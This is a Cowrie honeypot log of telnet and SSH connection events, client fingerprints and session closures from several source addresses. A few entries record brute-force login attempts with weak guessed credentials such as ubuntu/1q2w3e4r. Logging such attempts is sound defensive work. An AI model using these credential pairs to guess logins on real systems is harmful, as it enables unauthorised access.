{"eventid":"cowrie.session.closed","duration":30.345670700073242,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:46.148788Z","src_ip":"15.204.204.191","session":"8781d42dbeb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.700714588165283,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:46.345065Z","src_ip":"41.76.108.55","session":"8204025ff2ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":51286,"dst_ip":"159.203.135.109","dst_port":23,"session":"87096754bb21","protocol":"telnet","message":"New connection: 41.76.108.55:51286 (159.203.135.109:23) [session: 87096754bb21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:46.806422Z"}
{"eventid":"cowrie.session.closed","duration":30.568371534347534,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:49.148915Z","src_ip":"41.76.108.55","session":"075098f40eff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":37144,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cad95f9b9e5","protocol":"telnet","message":"New connection: 41.76.108.55:37144 (159.203.135.109:23) [session: 1cad95f9b9e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:50.367344Z"}
{"eventid":"cowrie.session.closed","duration":31.365674257278442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:51.122307Z","src_ip":"41.76.108.55","session":"f2d2a0f96a4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.259363174438477,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:52.127287Z","src_ip":"41.76.108.55","session":"8125ae8c57f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":45880,"dst_ip":"159.203.135.109","dst_port":23,"session":"76b7f5157a27","protocol":"telnet","message":"New connection: 41.76.108.55:45880 (159.203.135.109:23) [session: 76b7f5157a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:52.571841Z"}
{"eventid":"cowrie.session.closed","duration":30.305472373962402,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:54.153862Z","src_ip":"41.76.108.55","session":"7b799a6a6351","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.099184036254883,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:57.181668Z","src_ip":"41.76.108.55","session":"641af582e21e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":40188,"dst_ip":"159.203.135.109","dst_port":22,"session":"77f1d01cb077","protocol":"ssh","message":"New connection: 122.168.114.167:40188 (159.203.135.109:22) [session: 77f1d01cb077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:59.017724Z"}
{"eventid":"cowrie.session.closed","duration":31.242223978042603,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:00.166881Z","src_ip":"41.76.108.55","session":"fe090b90c023","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.471588611602783,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:00.184895Z","src_ip":"41.76.108.55","session":"24adb302f834","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":44192,"dst_ip":"159.203.135.109","dst_port":23,"session":"4eca1d699004","protocol":"telnet","message":"New connection: 41.76.108.55:44192 (159.203.135.109:23) [session: 4eca1d699004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:00.205108Z"}
{"eventid":"cowrie.session.closed","duration":31.080235481262207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:01.172581Z","src_ip":"41.76.108.55","session":"2c5dfebf934b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":52382,"dst_ip":"159.203.135.109","dst_port":23,"session":"34d562d47834","protocol":"telnet","message":"New connection: 41.76.108.55:52382 (159.203.135.109:23) [session: 34d562d47834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:01.216424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:02.191006Z","src_ip":"122.168.114.167","session":"77f1d01cb077","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:02.193996Z","src_ip":"122.168.114.167","session":"77f1d01cb077","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":58514,"dst_ip":"10.17.0.5","dst_port":23,"session":"c53378e50f9c","protocol":"telnet","message":"New connection: 15.204.204.191:58514 (10.17.0.5:23) [session: c53378e50f9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:05.992454Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":45722,"dst_ip":"159.203.135.109","dst_port":23,"session":"e30f5b23c4f2","protocol":"telnet","message":"New connection: 41.76.108.55:45722 (159.203.135.109:23) [session: e30f5b23c4f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:06.796566Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":50216,"dst_ip":"159.203.135.109","dst_port":23,"session":"f265499618ad","protocol":"telnet","message":"New connection: 41.76.108.55:50216 (159.203.135.109:23) [session: f265499618ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:07.923430Z"}
{"eventid":"cowrie.session.closed","duration":30.666013956069946,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:09.285233Z","src_ip":"41.76.108.55","session":"8d088b34e3ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.545700073242188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:09.291502Z","src_ip":"41.76.108.55","session":"a36bd3b7040b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":57630,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f7e49f33880","protocol":"telnet","message":"New connection: 41.76.108.55:57630 (159.203.135.109:23) [session: 2f7e49f33880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:09.810819Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":58520,"dst_ip":"10.17.0.5","dst_port":23,"session":"1354e99981d6","protocol":"telnet","message":"New connection: 15.204.204.191:58520 (10.17.0.5:23) [session: 1354e99981d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:09.893521Z"}
{"eventid":"cowrie.session.closed","duration":30.3064923286438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:13.138099Z","src_ip":"41.76.108.55","session":"3abfa1100a42","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:13.797137Z","src_ip":"122.168.114.167","session":"77f1d01cb077","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.34591555595398,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:14.048398Z","src_ip":"15.204.204.191","session":"a87ea2742d00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":45960,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a58542ab50a","protocol":"telnet","message":"New connection: 41.76.108.55:45960 (159.203.135.109:23) [session: 7a58542ab50a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:14.120093Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":53330,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb6b2b91fc4e","protocol":"telnet","message":"New connection: 41.76.108.55:53330 (159.203.135.109:23) [session: cb6b2b91fc4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:16.068563Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":53732,"dst_ip":"159.203.135.109","dst_port":23,"session":"c739f2c3b3bb","protocol":"telnet","message":"New connection: 41.76.108.55:53732 (159.203.135.109:23) [session: c739f2c3b3bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:16.165242Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":55118,"dst_ip":"159.203.135.109","dst_port":23,"session":"f296569f44b3","protocol":"telnet","message":"New connection: 41.76.108.55:55118 (159.203.135.109:23) [session: f296569f44b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:16.537757Z"}
{"eventid":"cowrie.session.closed","duration":31.067984342575073,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:17.874327Z","src_ip":"41.76.108.55","session":"87096754bb21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"19.2","message":"Connection lost after 19.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:18.188812Z","src_ip":"122.168.114.167","session":"77f1d01cb077","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.75945258140564,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:21.126688Z","src_ip":"41.76.108.55","session":"1cad95f9b9e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.557517051696777,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:23.129251Z","src_ip":"41.76.108.55","session":"76b7f5157a27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":59316,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba4d425c57ff","protocol":"telnet","message":"New connection: 41.76.108.55:59316 (159.203.135.109:23) [session: ba4d425c57ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:25.084842Z"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":45436,"dst_ip":"10.17.0.5","dst_port":22,"session":"4287eba761c6","protocol":"ssh","message":"New connection: 210.114.22.126:45436 (10.17.0.5:22) [session: 4287eba761c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:28.707134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:28.813851Z","src_ip":"210.114.22.126","session":"4287eba761c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:29.011619Z","src_ip":"210.114.22.126","session":"4287eba761c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1q2w3e4r","message":"login attempt [ubuntu/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:29.914950Z","src_ip":"210.114.22.126","session":"4287eba761c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":52916,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2c437643d62","protocol":"telnet","message":"New connection: 41.76.108.55:52916 (159.203.135.109:23) [session: b2c437643d62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:30.868579Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:31.214509Z","src_ip":"210.114.22.126","session":"4287eba761c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.014167308807373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:31.219105Z","src_ip":"41.76.108.55","session":"4eca1d699004","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.919065952301025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:32.134977Z","src_ip":"41.76.108.55","session":"34d562d47834","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":43826,"dst_ip":"159.203.135.109","dst_port":23,"session":"272e4e49740b","protocol":"telnet","message":"New connection: 41.76.108.55:43826 (159.203.135.109:23) [session: 272e4e49740b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:35.784312Z"}
{"eventid":"cowrie.session.closed","duration":31.024903535842896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:37.016850Z","src_ip":"15.204.204.191","session":"c53378e50f9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47589349746704,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:37.272356Z","src_ip":"41.76.108.55","session":"e30f5b23c4f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":50324,"dst_ip":"159.203.135.109","dst_port":23,"session":"f401b08a22b6","protocol":"telnet","message":"New connection: 41.76.108.55:50324 (159.203.135.109:23) [session: f401b08a22b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:37.313879Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":42592,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebb2d0b74ca6","protocol":"ssh","message":"New connection: 122.168.114.167:42592 (159.203.135.109:22) [session: ebb2d0b74ca6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:37.605012Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":44798,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e57ce666238","protocol":"telnet","message":"New connection: 15.204.204.191:44798 (10.17.0.5:23) [session: 1e57ce666238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:38.353667Z"}
{"eventid":"cowrie.session.closed","duration":31.33503746986389,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:39.258366Z","src_ip":"41.76.108.55","session":"f265499618ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":57534,"dst_ip":"159.203.135.109","dst_port":23,"session":"027cb09db94f","protocol":"telnet","message":"New connection: 41.76.108.55:57534 (159.203.135.109:23) [session: 027cb09db94f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:39.398201Z"}
{"eventid":"cowrie.session.closed","duration":30.21091938018799,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:40.104336Z","src_ip":"15.204.204.191","session":"1354e99981d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.32480263710022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:40.135485Z","src_ip":"41.76.108.55","session":"2f7e49f33880","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:40.360838Z","src_ip":"122.168.114.167","session":"ebb2d0b74ca6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:40.377041Z","src_ip":"122.168.114.167","session":"ebb2d0b74ca6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":41148,"dst_ip":"159.203.135.109","dst_port":23,"session":"4855e41f612a","protocol":"telnet","message":"New connection: 41.76.108.55:41148 (159.203.135.109:23) [session: 4855e41f612a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:43.532425Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":50992,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a22760533c0","protocol":"ssh","message":"New connection: 159.223.45.177:50992 (159.203.135.109:22) [session: 4a22760533c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:44.820584Z"}
{"eventid":"cowrie.session.closed","duration":31.222732305526733,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:45.342629Z","src_ip":"41.76.108.55","session":"7a58542ab50a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.967527151107788,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:47.132623Z","src_ip":"41.76.108.55","session":"c739f2c3b3bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.671770095825195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:47.209416Z","src_ip":"41.76.108.55","session":"f296569f44b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.454536199569702,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:47.522981Z","src_ip":"41.76.108.55","session":"cb6b2b91fc4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":34334,"dst_ip":"159.203.135.109","dst_port":23,"session":"154f62b70ee4","protocol":"telnet","message":"New connection: 41.76.108.55:34334 (159.203.135.109:23) [session: 154f62b70ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:47.943597Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":49074,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d5b570accee","protocol":"telnet","message":"New connection: 41.76.108.55:49074 (159.203.135.109:23) [session: 0d5b570accee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:51.743838Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:53.793525Z","src_ip":"122.168.114.167","session":"ebb2d0b74ca6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":36526,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c62b6d8062c","protocol":"telnet","message":"New connection: 41.76.108.55:36526 (159.203.135.109:23) [session: 9c62b6d8062c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:56.957560Z"}
{"eventid":"cowrie.session.closed","duration":31.888047456741333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:56.972786Z","src_ip":"41.76.108.55","session":"ba4d425c57ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"13.3","message":"Connection lost after 13.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:58.160459Z","src_ip":"159.223.45.177","session":"4a22760533c0","protocol":"ssh"}
